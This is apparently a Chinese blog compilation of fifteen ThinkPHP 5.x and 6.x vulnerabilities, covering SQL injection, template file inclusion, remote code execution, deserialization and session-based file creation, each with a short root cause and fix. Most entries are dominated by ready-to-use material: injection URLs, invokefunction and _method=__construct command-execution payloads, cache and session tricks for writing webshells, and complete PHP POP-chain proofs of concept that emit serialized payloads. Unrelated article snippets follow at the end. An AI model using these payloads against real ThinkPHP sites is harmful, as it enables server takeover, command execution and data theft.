当前位置: 首页 > news >正文

ThinkPHP 系列漏洞

目录

2、thinkphp5 sql注入2

3、thinkphp5 sql注入3

4、 thinkphp5 SQL注入4

5、 thinkphp5 sql注入5

6、 thinkphp5 sql注入6

 7、thinkphp5 文件包含漏洞

8、ThinkPHP5 RCE 1

9、ThinkPHP5 RCE 2

10、ThinkPHP5 rce3

11、ThinkPHP 5.0.X 反序列化漏洞 

12、ThinkPHP5.1.X反序列化命令执行漏洞

13、ThinkPHP5.2.X反序列化命令执行漏洞

14、thinkphp 6  任意文件创建漏洞

15、ThinkPHP6.X 反序列化命令执行漏洞


所有 sql 注入漏洞均在 library/think/db/Builder.php 文件中。

1、thinkphp5 SQL注入1

漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5

来自用户的查询数据经过 ThinkPHP 内置的简单过滤方法后,直接进入了继承于Builder 类的 Mysql 类的 insert 方法,在 insert 方法中,调用 parseData 方法来分析并处理数据,而 parseData 方法直接将来自用户的数据 $val 进行了拼接返回。简而言之, Builder 类的 parseData 方法,直接通过替换字符串的方式,将 $data 填充到 SQL 语句中,进而执行,造成 SQL注入漏洞 。

攻击链:payload => Mysql::insert() => Builder :: insert() => Builder::parserData():直接拼接SQL语句

exp:http://website/index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

修复:在拼接数据前对数据进行合法判断,对非法数据进行过滤,进行参数化查询

2、thinkphp5 sql注入2

漏洞成因:Mysql 类的 parseArrayData 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。

漏洞影响版本: 5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)

攻击链:

payload =>Query::update() =>Connection::update() =>\think\db\builder\Mysql::update() =>Builder::update() =>Builder::parseData():直接将数据进行拼接进SQL语句

exp:

http://localhost:8000/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0

漏洞修复:在拼接数据前对数据进行合法判断,对非法数据进行过滤

3、thinkphp5 sql注入3

漏洞存在于 Mysql 类的 parseWhereItem 方法中,由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞的产生。

漏洞影响版本: ThinkPHP5全版本

攻击链:

payload =>Request::get() =>Request::input() =>Query::where() =>Builder::select() =>Builder::buildWhere() =>Builder::parseWhereItem():当 sql 操作符等于 exp 时,用户数据直接拼接进入 SQL语句

漏洞利用:

http://localhost:8000/index/index/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)#(thinkphp需开启 app_debug)

漏洞修复:在拼接数据前对数据进行合法判断,对非法数据进行过滤

4、 thinkphp5 SQL注入4

漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。并且, Request 类的 filterValue 方法没有过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP=5.0.10 

攻击链:

payload =>Request::input() =>filterValue() =>Mysql::select() =>Builder::select() :对sql 语句模板进行变量填充=> Builder::buildWhere()=> Builder::parseWhereItem :SQL语句拼接,sql 逻辑操作符由用户控制

漏洞利用:

http://localhost:8000/index/index/index?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()

漏洞修复:在 filterValue 中过滤 NOT LIKE

5、 thinkphp5 sql注入5

漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22

攻击链:

payload =>Request::input() =>filterCalue():过滤函数未对数组的键进行过滤=> Query::order()=> Query::find()=> Connection::find()=> Builder::select()=> str_replace() :将数据填充到SQL模板语句=> Builder::parseOrder()=> Mysql::parseKey() :直接给变量两端添加反引号,最后直接返回拼接的字符串 

漏洞利用:

http://localhost:8000/index/index/index?orderby[id|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1

漏洞修复:在拼接字符串前对变量进行检查,看是否存在 )、# 两个符号

6、 thinkphp5 sql注入6

漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。

漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。

攻击链:

payload =>Query::max() =>Query::aggregate() =>Connection::aggregate() =>Connection::parseKey() =>Builder::select() =>str_replace() =>Builder::parseField() :直接拼接SQL语句

漏洞利用:

http://localhost:8000/index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

不同版本 payload 需稍作调整:

 5.0.0~5.0.21 、 5.1.3~5.1.10 :

id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23  

5.1.11~5.1.25 :

id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23`

漏洞修复:当匹配到除了 字母、点号、星号 以外的字符时,就抛出异常

 7、thinkphp5 文件包含漏洞

漏洞存在于 ThinkPHP 模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致文件包含漏洞的产生。

public function read($cacheFile, $vars = [])
{$this->cacheFile = $cacheFile;if (!empty($vars) && is_array($vars){// 模板阵列变量分解为独立变量if (isset($vars['cacheFile'])){$_think_cacheFile = $cacheFile;$cacheFile = $vars['cacheFile'];unset($vars['cacheFile'], $vars['_think_cacheFile']);extract($vars, EXTR_OVERWRITE);include $_think_cacheFile;return;}extract($vars);extract($vars, EXTR_OVERWRITE);}// 载入模板缓存文件include $cacheFile;include $this->cacheFile;
}

漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10

攻击链:

payload =>Controller::assign() =>think\View类 data属性 =>View::fetch() =>File::read() =>extract() =>extract($cacheFile) :用户数据覆盖$cacheFile 变量的值=> include($cacheFile):文件包含

漏洞利用:

创建 application/index/view/index/index.html 文件,并将图片马 1.jpg 上传至 public 目录下,访问 http://localhost:8000/index/index/index?cacheFile=demo.php 链接,即可触发文件包含漏洞 。

官方修复:先将 $cacheFile 变量存储在 $this->cacheFile 中,在使用 extract 函数后,最终 include 的变量是 $this->cacheFile ,这样也就避免了 include 被覆盖后的变量值。

8、ThinkPHP5 RCE 1

漏洞存在于 thinkphp/library/think/Cache.php 的 Cache 类中,该类会将缓存数据通过序列化的方式,直接存储在 .php 文件中,攻击者通过精心构造的 payload ,即可将 webshell 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发远程代码执行漏洞。

漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.10 

攻击链:

payload => Cache::set() => Cache::init() => thinkphp\library\think\driver\File::set() => serialize():在文件开头拼接了“//”注释符(换行绕过即可),存储为 php 文件

文件名生成规则:获得键名的 md5 值,然后将该 md5 值的前 2 个字符作为缓存子目录,后 30 字符作为缓存文件名,如果应用程序还设置了前缀 $this->options['prefix'] ,则缓存文件还将多一个上级目录。

漏洞利用:

http://localhost/tpdemo/public/?username=username123%0d%0a@eval($_GET[_]);  
// 将 webshell 写入缓存文件。

官方修复:将数据拼接在 php 标签之外,并在 php 标签中拼接 exit() 函数。

9、ThinkPHP5 RCE 2

漏洞影响版本: 5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30。

漏洞成因:

 ThinkPHP 底层没有对控制器名进行很好的合法性校验,在没有开启强制路由情况下,可以使用路由兼容模式 s 参数,用户可以通过此参数调用任意类的任意方法,最终导致远程代码执行漏洞的产生。

vulnerable url:

 http://localhost:8000/?s=index/\think\Request/input&filter[]=system&data=pwd

两种漏洞利用:

1)所有用户参数都会经过 Request 类的 input 方法处理,该方法会调用 filterValue 方法,而 filterValue 方法中使用了 call_user_func()

攻击链:payload => Request::input() => filterValue() => call_user_func() => rce

2)控制器名称从兼容模式下的s参数获取,但对s的值没有做任何安全处理,最后会被传递到exec(),造成rce

攻击链:payload => s => Dispatch::$result => App::run() => Dispatch::run => exec() => rce

不同版本 payload :

5.1.x :

?s=index/\think\Request/input&filter[]=system&data=pwd?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x :

?s=index/think\config/get&name=database.username # 获取配置信息?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

漏洞修复:

5.1.x:thinkphp/library/think/route/dispatch/Url.php  类的 parseUrl 方法,解析控制器后加上过滤

5.0.x:thinkphp/library/think/App.php  类的 module 方法的获取控制器的代码后面加上过滤

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {throw new HttpException(404, 'controller not exists:' . $controller);}

10、ThinkPHP5 rce3

漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30。

漏洞成因:

 ThinkPHP 底层没有对控制器名进行很好的合法性校验,在没有开启强制路由情况下,可以使用路由兼容模式 s 参数,用户可以通过此参数调用任意类的任意方法,最终导致远程代码执行漏洞的产生。同时,用户可以通 $_POST 数组传递请求方法 $method 的值,而且在获取之后没有进行任何检查,thinkphp直接把它作为 Request 类的方法进行调用,相当于可以随意调用 Request 类的部分方法。同时,Request 类的 __construct 方法中存在类属性覆盖的功能。

1)当框架在配置文件中开启了 debug 模式( 'app_debug'=> true )

程序会调用 Request 类的 param 方法,因此可以覆盖原来的方法,转而调用Request::input(),进而调用call_user_func()函数。

攻击链:

payload => $_POST => Request::$method => Request::param() => 

Request::method() => Request::server() => 

Request::input() => filterValue() => call_user_func() => rce

2)为开启 debug 模式

在 Dispatch 类的 run 方法中,会执行一个 exec 方法,当该方法中的 $dispatch['type'] 等于 controller 或者 method 时,又会调用 Request 类的 param 方法。$dispatch['type'] 来源于 parseRule 方法中的 $result 变量,而 $result 变量又与 $route 变量有关系, $route 变量取决于程序中定义的路由地址方式,GET方式中存在一条路由,可以利用这一路由地址,使得 $dispatch['type'] 等于 method ,从而完成 远程代码执行漏洞。

路由方式:'\完整的命名空间类@动态方法'\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index")

攻击链:

payload => $_GET => $route => Route::parseRule(..., $result, ...) => 

Dispatch::run() => exec($dispatche['type'], ...) => Request::$method  => 

Request::param() => Request::method() => Request::server() => 

Request::input() => filterValue() => call_user_func() => rce

漏洞利用:

ThinkPHP <= 5.0.13

POST /?s=index/indexs=whoami&_method=__construct&method=&filter[]=system

ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug

POST /_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha

POST /?s=xxx HTTP/1.1..._method=__construct&filter[]=system&method=get&get[]=ls+-al或_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

漏洞修复:同上,同时限制Request中可控的请求方法

11、ThinkPHP 5.0.X 反序列化漏洞 

漏洞成因:

\think\cache\driver\File::set() 方法可以写入文件,且文件名及文件内容可控,导致可以写入webshell。

在 think\process\pipes\Windows 类的 __destruct 方法中,存在一个删除文件功能,此处的文件名 $filename 变量是可控。若将一个类赋值给 $filename 变量,则在 file_exists($filename) 的时候,会触发这个类的 __toString 方法。因为 file_exists 函数需要的是一个字符串类型的参数,如果传入一个对象,就会先调用该类 __toString 方法,将其转换成字符串,然后再判断。Output 类中,__call 方法内存在 call_user_func_array 函数,通过调用不存在的方法,即可触发 __call 方法,调用 call_user_func_array(array (任意类,任意方法), $args),执行任意方法,据此可以调用写文件的函数。

getCacheKey() 方法中的 $this->options['path'] 可控,因此 $filename 可控,可以利用伪协议绕过添加的exit。setTagItem 方法会再执行一次 set 方法,且文件内容 $value 通过 $name(文件名)赋值,可以在文件名中写入 webshell,进而写入 php 文件。

php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>


POP链:

think\process\pipes\Windows::__destruct() =>Windows::removeFiles() => file_exists() =>Model::toJson() => Model::toArray() =>Loader::parseName() => $this->$relation() =>think\Model::getError() =>  getRelationData() =>$value => $item[$key] = $value ? $value->getAttr($attr) : null //进行判断时,需要通过toArray()将getAttr($attr)进行数据类型转换,Output类中不存在toArray()方法,触发 think\console\Output::__call()调用不存在的方法=> think\console\Output::__call()=>call_user_func_array(array(任意类,任意方法),$args) =>$this->handle->write() => think\console\Output::write() =>think\session\driver\Memcached::write() => think\cache\driver\File:set() =>File::setTagItem($name) => File::set() => file_put_contents() => 写入 webshell

漏洞利用:

webshell 的写入路径为:网站根目录 /public/static/<?cuc cucvasb();?>md5(‘tag_’+md5($tag)),访问 webshell 时要对文件名进行 URL 编码

Poc:

<?php //File类 
namespace think\cache\driver; 
class File { // tag变量跟文件名有关protected $tag='abcdef'; protected $options = [ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => '',// 写入文件 'path' => 'php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>', // 创建子目录/* 'path' => './static/3a6c45/', */ 'data_compress' => false, ]; 
} //Memcached类 
namespace think\session\driver; 
use think\cache\driver\File; 
class Memcached { protected $handler = null; function __construct() {$this->handler=new File(); } 
} //Output类 
namespace think\console; 
use think\session\driver\Memcached; 
class Output { protected $styles = ['removeWhereField']; private $handle = null; function __construct() { $this->handle=new Memcached(); } 
} //HasOne类 
namespace think\model\relation; 
use think\console\Output; 
class HasOne { protected $query = false; function __construct() { $this->query=new Output(); } 
} //Pivot类 
namespace think\model; 
use think\model\relation\HasOne; 
class Pivot { protected $append = ['getError']; protected $error = false; public function __construct() { $this->error=new HasOne(); } 
} //Windows类 
namespace think\process\pipes; 
use think\model\Pivot; 
class Windows { private $files = []; public function __construct() {$this->files=[new Pivot()]; } 
} $x=new Windows(); 
echo str_replace('+', '%20', urlencode(serialize($x)));// 生成的payload:O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00query%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A16%3A%22removeWhereField%22%3B%7Ds%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A6%3A%22%00%2A%00tag%22%3Bs%3A6%3A%22abcdef%22%3Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A3600%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A68%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.rot13%2Fresource%3D.%2Fstatic%2F%3C%3Fcuc%20cucvasb%28%29%3B%3F%3E%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7D%7D%7D%7D%7D%7D%7D

漏洞修复:

1)修改removeFiles方法

private function removeFiles(){foreach ($this->files as $filename) {if(is_object($filename)){continue;}if (file_exists($filename)) {@unlink($filename);}}$this->files = [];
}

2)在Windows.php中添加两个方法

 public function __sleep(){throw new Exception('Cannot serialize '.__CLASS__);
}public function __wakeup(){throw new Exception('Cannot unserialize '.__CLASS__);
}

12、ThinkPHP5.1.X反序列化命令执行漏洞

漏洞成因:

此漏洞的 pop 链入口类似于 5.0.x 反序列化漏洞的 pop 链入口,都是通过\think\process\pipes\Windows::__destruct()。Request 类中的 input 方法,调用了call_user_func(),可以通过构造 pop 链进行 rce。

POP链:

\think\process\pipes\Windows::__destruct() =>Windows::removeFile() =>file_exists() =>Model::__toString() =>Model::toJson =>Model::toArray() =>\think\Request::__call() =>call_user_func_array() =>Request::isAjax() =>Request::param => Request::input() => Request::filterValue() => call_user_func() => rce

POC:

<?php
namespace think;abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ["lin"=>["calc.exe","calc"]];$this->data = ["lin"=>new Request()];}
}class Request{protected $hook = [];protected $filter = "system";protected $config = [// 表单ajax伪装变量'var_ajax'         => '_ajax',  ];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>'lin'];$this->hook = ["visible"=>[$this,"isAjax"]];}
}namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;class Windows{private $files = [];public function __construct(){$this->files=[new Pivot()];}
}namespace think\model;
use think\Model;class Pivot extends Model{}use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));?>

漏洞修复:

1)同上

2)使用 PHP7 新增的 unserialize 的过滤器,它通过白名单的方式来防止潜在的代码注入,将除 MyClass 和 MyClass2 和 stdClass 之外的所有对象都转换为 __PHP_Incomplete_Class 对象,从而阻断反序列化的漏洞利用链

13、ThinkPHP5.2.X反序列化命令执行漏洞

漏洞成因:

5.1 版本中的反序列化漏洞构造,__call 之前的方法仍然可以使用。5.2 版本的 think\model\concern\Attribute 类中的 getValue方法中存在一个可控的动态函数调用的点 $closure($value, $this->data),只要让 $closure='system' 并且 $value='要执行的命令' ,就可以触发命令执行。

通过触发__destruct()方法中的removeFiles(),该函数内用了一个file_exists()方法处理对象实例时会当成字符串,从而触发__toString(),调用toJson() => toArray() => getAttr(),最后在getValue()处调用动态函数导致命令执行。

POP链:

think\process\pipes\Windows::__destruct() =>think\process\pipes\Windows::removeFiles() =>think\model\concern\Conversion::__toString() =>think\model\concern\Conversion::toJson() =>think\model\concern\Conversion::toArray() =>think\model\concern\Attribute::getAttr() =>think\model\concern\Attribute::getValue() =>$closure($value, $this->data) => system('command', $this-data)

POC :

<?php
namespace think\process\pipes {class Windows{private $files;public function __construct($files){$this->files = [$files];}}
}namespace think\model\concern {trait Conversion{}trait Attribute{private $data;private $withAttr = ["lin" => "system"];public function get() {$this->data = ["lin" => "ls"];}}
}namespace think {abstract class Model{use model\concern\Attribute;use model\concern\Conversion;}
}namespace think\model{use think\Model;class Pivot extends Model{public function __construct(){$this->get();}}
}namespace {$conver = new think\model\Pivot();$payload = new think\process\pipes\Windows($conver);echo urlencode(serialize($payload));
}
?>

漏洞修复:同上

14、thinkphp 6  任意文件创建漏洞

漏洞成因:

session 文件默认存储在 /var/www/html/tp60/runtime/session 下,其文件名格式类似 sess_PHPSESSID 。而当我们在 PHPSESSID 中插入特殊字符时,程序还是能正常生成对应文件。因此,这里存在任意文件创建漏洞,且通过插入路径穿越符,还存在文件覆盖和getshell的可能。

在 session 初始化时,程序会将 PHPSESSID 对应的值赋值给 \think\session\Store:id 。当 PHPSESSID 对应值长度等于32,则无任何过滤直接赋值。然后在程序构造响应数据返回给用户时,会先将 session 写入文件,而这个文件的文件名则由之前的 PHPSESSID 拼接而成。由于没有任何的过滤,这也就造成了任意文件创建、覆盖。

漏洞利用:

在 浏览器 console下执行poc,\runtime\session文件夹下就会生成php文件:

document.cookie="PHPSESSID=/../../../public/demo.php";

漏洞修复:对 session 的判断以及写入做拦截与效验,不允许直接 .php文件的 session 值写入

15、ThinkPHP6.X 反序列化命令执行漏洞

漏洞成因:

Model类中的checkAllowFields() 方法存在可控变量拼接的问题,可以调用 __toString(),融合 5 版本的 rce pop 链 即可构造此版本的 rce。

POP链:

Model::__destruct() =>Model::save() =>Model::updateData() =>Model::checkAllowFields()->db()  =>__toString() => toJson() => toArray() =>Attribute::getAttr() =>Attribute::getValue() =>$closure($value, $this->data) => system('command', $this-data)

漏洞利用:

1)phpggc上有集成的exp,使用如下命令即可生成

./phpggc -u ThinkPHP/RCE2 'phpinfo();'

2)POC

<?php
namespace think;
abstract class Model{use model\concern\Attribute;private $lazySave=false;private $exists = true;private $data=[];function __construct($obj){$this->lazySave=true;$this->exists=true;$this->data=['key'=>'dir'];$this->table=$obj;$this->strict=true;$this->visible = ["key"=>1];}
}namespace think\model\concern;
trait Attribute{private $withAttr = ["key" => "system"];
}namespace think\model;
use think\Model;
class Pivot extends Model{function __construct($obj){parent::__construct($obj);}
}$obj1=new Pivot(null);
echo urlencode(serialize(new Pivot($obj1)));

漏洞修复:使用PHP7新增的unserialize的过滤器

相关文章:

ThinkPHP 系列漏洞

目录 2、thinkphp5 sql注入2 3、thinkphp5 sql注入3 4、 thinkphp5 SQL注入4 5、 thinkphp5 sql注入5 6、 thinkphp5 sql注入6 7、thinkphp5 文件包含漏洞 8、ThinkPHP5 RCE 1 9、ThinkPHP5 RCE 2 10、ThinkPHP5 rce3 11、ThinkPHP 5.0.X 反序列化漏洞 12、ThinkPHP…...

系列十、你说你做过JVM调优和参数配置,请问如何盘点JVM系统的默认值?

一、JVM的参数类型 1.1、标配参数 java -versionjava -help 1.2、XX参数 1.2.1、Boolean类型 公式&#xff1a;-XX:或者- 某个属性值 表示开启、-表示关闭 # 是否打印GC收集细节 -XX:PrintGCDetails -XX:-PrintGCDetails# 是否使用串行垃圾收集器 -XX:UseSerialGC -XX:-UseS…...

Java Web——Web开发介绍

什么是Web开发 Web开发是一种创建和维护全球广域网&#xff08;World Wide Web&#xff09;上的网站和应用的技术。全球广域网也称为万维网(www World Wide Web)&#xff0c;是一个能够通过浏览器访问的互联网上的巨大信息库。 Web开发的目标是创建功能齐全、易于使用和安全的…...

Vue 数据监听机制及 Vue 2.0 和 Vue 3.0 的比较

Vue 数据监听机制 在 Vue 中&#xff0c;数据的变化通常是通过数据劫持&#xff08;Data Binding&#xff09;和观察者模式来实现的。当数据发生变化时&#xff0c;Vue 能够自动更新视图。 Vue 2.0 的数据监听 在 Vue 2.0 中&#xff0c;数据监听是通过 Object.defineProper…...

QT多线程项目中子线程无法修改主线程的ui组件

情况描述 今天我创建了一个QT多线程的工程&#xff0c;框架如下。我希望通过指针的方式&#xff0c;让子线程去直接修改主线程的ui组件&#xff0c;但事与愿违。 class ChildThread : public QThread {Q_OBJECT public:ChildThread (MainThread* par):m_Par(par){}; protecte…...

Python 如何实现备忘录设计模式?什么是备忘录设计模式?Python 备忘录设计模式示例代码

什么是备忘录&#xff08;Memento&#xff09;设计模式&#xff1f; 备忘录&#xff08;Memento&#xff09;设计模式是一种行为型设计模式&#xff0c;用于捕获一个对象的内部状态&#xff0c;并在对象之外保存这个状态&#xff0c;以便在需要时恢复对象到先前的状态。这种模…...

LangChain 代理 Agent(学习笔记)

原文&#xff1a;LangChain 代理 Agent(学习笔记) - 尘叶心繁的专栏 - TNBLOG LangChain 代理 Agent(学习笔记) LangChain 代理 Agent(学习笔记) 简介Agent Zero-shot ReActStructured Input ReActOpenAI FunctionsConversationalSelf ask with searchReAct document storePlan…...

实验三 页面置换算法

一. 实验目的&#xff1a; 1、熟悉虚存管理的各种页面淘汰算法 二、实验环境&#xff1a; 硬件环境&#xff1a;计算机一台&#xff0c;局域网环境&#xff1b; 软件环境&#xff1a;Windows XP及以上版本 Professional操作系统平台&#xff0c;Visual C 6.0专业版或企业版…...

Node.js中的Buffer和Stream

Node.js中的Buffer和Stream 计算机只能理解二进制数据&#xff0c;即0和1形式的数据。这些数据的顺序移动称为流。以称为块&#xff08;chunk&#xff09;的破碎部分流式传输数据&#xff1b;计算机一收到数据块就开始处理数据&#xff0c;而不用等待整个数据。 我们这篇文章…...

3.5 Windows驱动开发:应用层与内核层内存映射

在上一篇博文《内核通过PEB得到进程参数》中我们通过使用KeStackAttachProcess附加进程的方式得到了该进程的PEB结构信息&#xff0c;本篇文章同样需要使用进程附加功能&#xff0c;但这次我们将实现一个更加有趣的功能&#xff0c;在某些情况下应用层与内核层需要共享一片内存…...

【小黑送书—第八期】>>别再吐槽大学教材了,来看看这些网友强推的数学神作!

导读&#xff1a;关于大学数学教材的吐槽似乎从来没停止过。有人慨叹&#xff1a;数学教材晦涩难懂。错&#xff01;难懂&#xff0c;起码还可以读懂。数学教材你根本读不懂&#xff1b;也有人说&#xff1a;数学教材简直就是天书。 数学教材有好有坏&#xff0c;这话不假&…...

MatLab的下载、安装与使用(亲测有效)

1、概述 MatLab是由MathWorks公司开发并发布的&#xff0c;支持线性代数、矩阵运算、绘制函数和数据、信号处理、图像处理以及视频处理等功能。广泛用于算法开发、数据可视化、数据分析以及数值计算等。 Matlab 的主要特性包括&#xff1a; 简单易用的语法&#xff0c;使得程…...

无人智能货柜:引领便捷购物新体验

无人智能货柜&#xff1a;引领便捷购物新体验 无人智能货柜利用人工智能技术&#xff0c;将传统货架与电子商务相结合&#xff0c;形成智能销售终端。其采用先拿货后付款的购物模式&#xff0c;用户只需扫码、拿货、关门三个简洁流畅的步骤&#xff0c;极大地提升了消费者的购物…...

4.6 Windows驱动开发:内核遍历进程VAD结构体

在上一篇文章《内核中实现Dump进程转储》中我们实现了ARK工具的转存功能&#xff0c;本篇文章继续以内存为出发点介绍VAD结构&#xff0c;该结构的全程是Virtual Address Descriptor即虚拟地址描述符&#xff0c;VAD是一个AVL自平衡二叉树&#xff0c;树的每一个节点代表一段虚…...

基于世界杯算法优化概率神经网络PNN的分类预测 - 附代码

基于世界杯算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于世界杯算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于世界杯优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要&#xff1a;针对PNN神经网络…...

NPM 与 XUI 共存!Nginx Proxy Manager 搭配 X-UI 实现 Vless+WS+TLS 教程!

之前分享过搭建可以与宝塔共存的一个 “魔法” 服务器状态监控应用 ——xui&#xff0c;支持 VmessWSTLS。 最近 Docker 视频出的比较多&#xff0c;前阵子又出现了宝塔国内版存在隐私泄露的问题&#xff0c;很多小伙伴其实都不用宝塔了&#xff0c;那么&#xff0c;在我们现在…...

【网络奇遇记】那年我与计算机网络的浅相知

&#x1f308;个人主页&#xff1a;聆风吟 &#x1f525;系列专栏&#xff1a;网络奇遇记、数据结构 &#x1f516;少年有梦不应止于心动&#xff0c;更要付诸行动。 文章目录 一. 计算机网络的定义1.1 计算机早期的一个最简单的定义1.2 现阶段计算机网络的一个较好的定义 二. …...

LeetCode26.删除有序数组中的重复项(双指针法)

LeetCode26.删除有序数组中的重复项 1.问题描述2.解题思路3.代码 1.问题描述 给你一个 非严格递增排列 的数组 nums &#xff0c;请你** 原地** 删除重复出现的元素&#xff0c;使每个元素 只出现一次 &#xff0c;返回删除后数组的新长度。元素的 相对顺序 应该保持 一致 。然…...

原型网络Prototypical Network的python代码逐行解释,新手小白也可学会!!-----系列8

文章目录 前言一、原始代码二、对每一行代码的解释&#xff1a;总结 前言 这是该系列原型网络的最后一段代码及其详细解释&#xff0c;感谢各位的阅读&#xff01; 一、原始代码 if __name__ __main__:##载入数据labels_trainData, labels_testData load_data() # labels_…...

黑马点评回顾 redis实现共享session

文章目录 传统session缺点整体访问流程代码实现生成验证码登录 问题具体思路 传统session缺点 传统单体项目一般是把session存入tomcat&#xff0c;但是每个tomcat中都有一份属于自己的session,假设用户第一次访问第一台tomcat&#xff0c;并且把自己的信息存放到第一台服务器…...

Redis篇---第八篇

系列文章目录 文章目录 系列文章目录前言一、说说 Redis 哈希槽的概念?二、Redis 常见性能问题和解决方案有哪些?三、假如 Redis 里面有 1 亿个 key,其中有 10w 个 key 是以某个固定的已知的前缀开头的,如果将它们全部找出来?前言 前些天发现了一个巨牛的人工智能学习网站…...

Unity使用Visual Studio Code 调试

Unity 使用Visual Studio Code 调试C# PackageManager安装Visual Studio EditorVisual Studio Code安装Unity 插件修改Unity配置调试 PackageManager安装Visual Studio Editor 打开 Window->PackageManger卸载 Visual Studio Code Editor &#xff0c;这个已经被官方废弃安…...

【Linux】进程替换|exec系列函数

文章目录 一、看一看单进程版的进程替换二、进程替换的原理三、多进程版——验证各种程序替换接口exec系列函数execlexeclpexecvexecvp tipsexecleexecve 四、总结 一、看一看单进程版的进程替换 #include<stdio.h> #include<unistd.h> #include<stdlib.h>i…...

Java编程技巧:将图片导出成pdf文件

目录 一、pom依赖二、代码三、测试链接 一、pom依赖 <!-- pdf插件 start --> <dependency><groupId>com.itextpdf</groupId><artifactId>itextpdf</artifactId><version>5.5.3</version> </dependency> <dependency…...

二项分布和泊松分布

一、二项分布 1.1 n重伯努利试验 若是二项分布&#xff0c;则必是n重伯努利试验概型。即&#xff1a;每次试验只有两种结果 与 &#xff0c;且在每次试验中A发生的概率相等&#xff0c;即P(A)p&#xff0c;将这种试验独立重复n次&#xff0c;则称这种试验为n重伯努利试验&#…...

【飞控调试】DJIF450机架+Pixhawk6c mini+v1.13.3固件+好盈Platinium 40A电调无人机调试

